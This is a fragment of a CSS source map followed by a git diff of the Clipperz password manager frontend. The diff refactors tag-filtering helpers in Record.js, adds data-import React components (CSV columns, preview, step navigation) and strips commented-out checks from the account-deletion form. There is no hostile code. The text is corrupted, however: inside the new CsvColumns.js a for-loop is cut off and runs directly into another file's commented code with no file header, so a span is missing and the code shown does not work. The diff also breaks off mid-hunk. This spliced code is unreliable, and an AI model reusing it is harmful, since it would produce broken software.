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", "sources": ["file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/reset.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/fonts.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/clipperz-font/dejavu.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/mixin.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/overlay.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/layout.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/behavior.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/parameters.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/flex.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/palette.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/tagEditor.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/loadingPage.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/loginPage.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/registrationPage.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/selectionPanel.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/settingsPanel.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/accountStatus.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/card.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/style/dialogBox.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/clipperz.scss","file:///home/dario/lavoro/clipperz/codice/bitbucket-dario/frontend/delta/scss/core/sizes.scss"], "names": [], "file": "clipperz.css" diff --git a/frontend/delta/js/Clipperz/PM/DataModel/Record.js b/frontend/delta/js/Clipperz/PM/DataModel/Record.js index 30905d4..30ac2dc 100644 --- a/frontend/delta/js/Clipperz/PM/DataModel/Record.js +++ b/frontend/delta/js/Clipperz/PM/DataModel/Record.js @@ -163,30 +163,12 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt //............................................................................ - 'tagRegExp': function () { - return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g'); - }, + 'tagRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); }, + 'trimSpacesRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); }, + 'filterOutTags': function (aValue) { return Clipperz.PM.DataModel.Record.filterOutTags(aValue); }, - 'trimSpacesRegExp': function () { - return new RegExp('^\\s+|\\s+$', 'g'); - }, - -// 'tagCleanupRegExp': function () { -// return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagSpace, 'g'); -// }, - //............................................................................ - - 'filterOutTags': function (aValue) { - var value; - - value = aValue; - value = value.replace(this.tagRegExp(), ''); - value = value.replace(this.trimSpacesRegExp(), ''); - - return value; - }, - + 'label': function () { return Clipperz.Async.callbacks("Record.label", [ MochiKit.Base.method(this, 'fullLabel'), @@ -1168,6 +1150,18 @@ console.log("Record.hasPendingChanges RESULT", result); MochiKit.Base.bind(function () { return this; }, this) ], {trace:false}); }, + + 'setUpWithJSON': function(data) { + return Clipperz.Async.callbacks("Record.setUpWithJSON", [ + // TODO: proper tag handling + MochiKit.Base.method(this,'setLabel',data.label), + MochiKit.Base.method(this,'setNotes',data.data.notes), + // TODO: check whether fields' order is kept or not + function(){ return MochiKit.Base.values(data.currentVersion.fields); }, + MochiKit.Base.partial(MochiKit.Base.map,MochiKit.Base.method(this, 'addField')), + Clipperz.Async.collectAll + ], {trace:false}); + }, //========================================================================= __syntaxFix__: "syntax fix" @@ -1208,3 +1202,21 @@ Clipperz.PM.DataModel.Record.isRegularTag = function (aTag) { Clipperz.PM.DataModel.Record.regExpForSearch = function (aSearch) { return new RegExp(aSearch.replace(/[^A-Za-z0-9]/g, '\\$&'), 'i'); }; + +Clipperz.PM.DataModel.Record.tagRegExp = function () { + return new RegExp('\\' + Clipperz.PM.DataModel.Record.tagChar + '(' + Clipperz.PM.DataModel.Record.specialTagChar + '?\\w+)', 'g'); +}; + +Clipperz.PM.DataModel.Record.trimSpacesRegExp = function () { + return new RegExp('^\\s+|\\s+$', 'g'); +}; + +Clipperz.PM.DataModel.Record.filterOutTags = function (aValue) { + var value; + + value = aValue; + value = value.replace(Clipperz.PM.DataModel.Record.tagRegExp(), ''); + value = value.replace(Clipperz.PM.DataModel.Record.trimSpacesRegExp(), ''); + + return value; +}; diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js new file mode 100644 index 0000000..e8db370 --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/CsvColumns.js @@ -0,0 +1,87 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +"use strict"; +Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport'); + +Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.createClass({ + + toggleColumn: function(columnN) { + var newState; + + newState = {'importData': this.props.importState.importData}; + newState.importData.selectedColumns[columnN] = ! newState.importData.selectedColumns[columnN]; + + this.props.setImportStateCallback(newState); + }, + + render: function() { + + var columnSelectors; + var rowCount; + var i; + + columnSelectors = []; + for (i=0; i 0) { +// result = React.DOM.ul({'className': 'tagList'}, +// MochiKit.Base.map(function(aTag){ +// return React.DOM.li({}, aTag); +// }, tagList) +// ); +// } else { +// result = null; +// } +// +// return result; +// }, + + renderCardFields: function(someFields) { + return MochiKit.Base.map(function(key) { + var field = someFields[key]; + + return [ + React.DOM.dt({},field.label), + React.DOM.dd({},field.value), + ]; + } ,MochiKit.Base.keys(someFields)); + }, + + renderCard: function(aCard) { + var notesParagraph = (aCard.data.notes) ? React.DOM.p({'className': 'notes'}, aCard.data.notes) : null; + return React.DOM.li({'className': 'card'}, [ + React.DOM.input({ + 'type': 'checkbox', + 'checked': this.props.isRecordToImportCallback(aCard), + 'onChange': MochiKit.Base.partial(this.props.toggleRecordToImportCallback,aCard) + }), + React.DOM.h3({}, Clipperz.PM.DataModel.Record.filterOutTags(aCard.label)), +// REMOVE THE PREVIOUS LINE AND UNCOMMENT THE FOLLOWING 2 AFTER MERGE +// React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)), +// this.getTags(aCard.label), + React.DOM.dl({'className': 'fields'}, this.renderCardFields(aCard.currentVersion.fields)), + notesParagraph + ]); + }, + + render: function() { + var result; + + if (! this.props.importState.importData || typeof(this.props.importState.jsonToImport)=='undefined' || !this.props.importState.jsonToImport) { + result = "Error"; + } else { + var renderedPreview = React.DOM.ul({}, + MochiKit.Base.map(this.renderCard, this.props.importState.jsonToImport) + ); + + result = [ + React.DOM.h2({},"Preview"), + Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({ + 'format': this.props.importState.importData.format, + 'stepId': 'preview' + }), + React.DOM.button({ + 'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.importState.previousStep)}, "Back"), + React.DOM.span({}, " - "), + React.DOM.button({ + 'onClick': MochiKit.Base.bind(function() { + var filteredImportData = MochiKit.Base.filter( + MochiKit.Base.bind(function(r) { + return this.props.isRecordToImportCallback(r); + }, this), + this.props.importState.jsonToImport + ); + + MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData); + + this.props.resetImportStateCallback(); + }, this) + }, "Import"), + React.DOM.div({'className': 'jsonPreview'},renderedPreview), + ]; + } + + return React.DOM.div({},result); + } + +}); + +Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Preview = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass); \ No newline at end of file diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js new file mode 100644 index 0000000..f4315cb --- /dev/null +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DataImport/StepsNavigation.js @@ -0,0 +1,99 @@ +/* + +Copyright 2008-2015 Clipperz Srl + +This file is part of Clipperz, the online password manager. +For further information about its features and functionalities please +refer to http://www.clipperz.com. + +* Clipperz is free software: you can redistribute it and/or modify it + under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + +* Clipperz is distributed in the hope that it will be useful, but + WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + See the GNU Affero General Public License for more details. + +* You should have received a copy of the GNU Affero General Public + License along with Clipperz. If not, see http://www.gnu.org/licenses/. + +*/ + +"use strict"; +Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport'); + +Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass = React.createClass({ + + _stepsInfo: [ + { + id: 'input', + name: 'Input', + formats: ['json', 'csv'] + }, + { + id: 'csv-columns', + name: 'Columns', + formats: ['csv'] + }, + { + id: 'csv-labels', + name: 'Labels', + formats: ['csv'] + }, + { + id: 'csv-titles', + name: 'Titles', + formats: ['csv'] + }, + { + id: 'csv-notes', + name: 'Notes', + formats: ['csv'] + }, + { + id: 'csv-hidden', + name: 'Hidden', + formats: ['csv'] + }, + { + id: 'preview', + name: 'Preview', + formats: ['json', 'csv'] + } + ], + + render: function() { + var navigationButtons; + + if (this.props.prevStep && this.props.nextStep) { + navigationButtons = [ + React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.prevStep)}, "Back"), + React.DOM.span({}, " - "), + React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, this.props.nextStep), 'disabled': this.props.nextDisabled }, "Next") + ]; + } else { + + } + + return React.DOM.div({},[ + React.DOM.ul({'className': 'stepsOverview'}, + MochiKit.Base.map(MochiKit.Base.bind(function(aStep) { + var className; + + className = (aStep.id == this.props.stepId) ? 'active' : 'inactive'; + className = (MochiKit.Base.findValue(aStep.formats,this.props.format)>= 0) ? className+' enabled' : className+' disabled'; + + // TODO: replace with proper CSS + var style = (aStep.id == this.props.stepId) ? {'display': 'inline-block', 'textDecoration': 'underline'} : {'display': 'inline-block'}; + return React.DOM.li({'className': className, 'style': style}, aStep.name); + },this), this._stepsInfo) + ), + navigationButtons + ]); + } + +}); + +Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigationClass); \ No newline at end of file diff --git a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js index a38c17d..e8a9169 100644 --- a/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js +++ b/frontend/delta/js/Clipperz/PM/UI/Components/ExtraFeatures/DeleteAccount.js @@ -36,7 +36,6 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ 'username': 'empty', 'passphrase': 'empty', 'confirm': '', - //~ 'error': '' }; }, @@ -45,35 +44,10 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ handleDeleteAccount: function(event) { event.preventDefault(); - //~ if (this.refs['username'].getDOMNode().value != this.props.userInfo['username']) { - //~ this.setState({error: "Invalid username"}); - //~ return; - //~ } - //~ - //~ var deferredResult; - //~ - //~ deferredResult = new Clipperz.Async.Deferred("DeleteAccount.handleDeleteAccount", {trace: false}); - //~ deferredResult.addCallback(this.props.userInfo['checkPassphraseCallback'], this.refs['passphrase'].getDOMNode().value); - //~ deferredResult.addIf( - //~ [MochiKit.Base.partial(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'deleteAccount')], - //~ [MochiKit.Base.bind(this.setState, this, {error: "Invalid password"})] - //~ ); - //~ - //~ deferredResult.callback(); - //~ - //~ return deferredResult; - MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'deleteAccount'); }, handleFormChange: function() { - - - //~ if (this.refs['username'].getDOMNode().value != this.props.userInfo['username']) { - //~ this.setState({error: "Invalid username"}); - //~ return; - //~ } - var deferredResult; deferredResult = new Clipperz.Async.Deferred("DeleteAccount.handleDeleteAccount", {trace: false}); @@ -92,14 +66,6 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ deferredResult.callback(); return deferredResult; - - - - //~ this.setState({ - //~ 'username': this.refs['username'].getDOMNode().value, - //~ 'passphrase': this.refs['passphrase'].getDOMNode().value, - //~ 'confirm': this.refs['confirm'].getDOMNode().checked, - //~ }); }, shouldEnableDeleteAccountButton: function() { @@ -109,8 +75,6 @@ Clipperz.PM.UI.Components.ExtraFeatures.DeleteAccountClass = React.createClass({ //========================================================================= render: function () { - //~ var errorVisibility = (this.state.error) ? 'visible' : 'hidden'; - return React.DOM.div({className:'extraFeature deleteAccount'}, [ React.DOM.h1({}, "Delete Account"), React.DOM.form({'key':'form', 'className':'deleteAccountForm', 'onChange': this.handleFormChange, 'onSubmit':this.handleDeleteAccount}, [ @@ -127,7 +91,6 @@ 